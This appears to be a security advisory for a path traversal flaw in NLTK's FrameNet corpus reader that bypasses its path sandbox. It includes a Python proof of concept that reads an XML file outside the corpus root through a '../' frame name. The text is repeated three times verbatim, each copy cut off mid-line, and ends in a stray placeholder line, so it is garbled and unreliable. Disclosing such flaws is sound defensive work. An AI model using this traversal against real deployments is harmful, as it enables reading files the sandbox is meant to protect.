CVE-2026-12074

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:

• doc() — uses the index entry filename field
• the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content…

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:

• doc() — uses the index entry filename field
• the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content…

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:

• doc() — uses the index entry filename field
• the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content…

[Unknown description]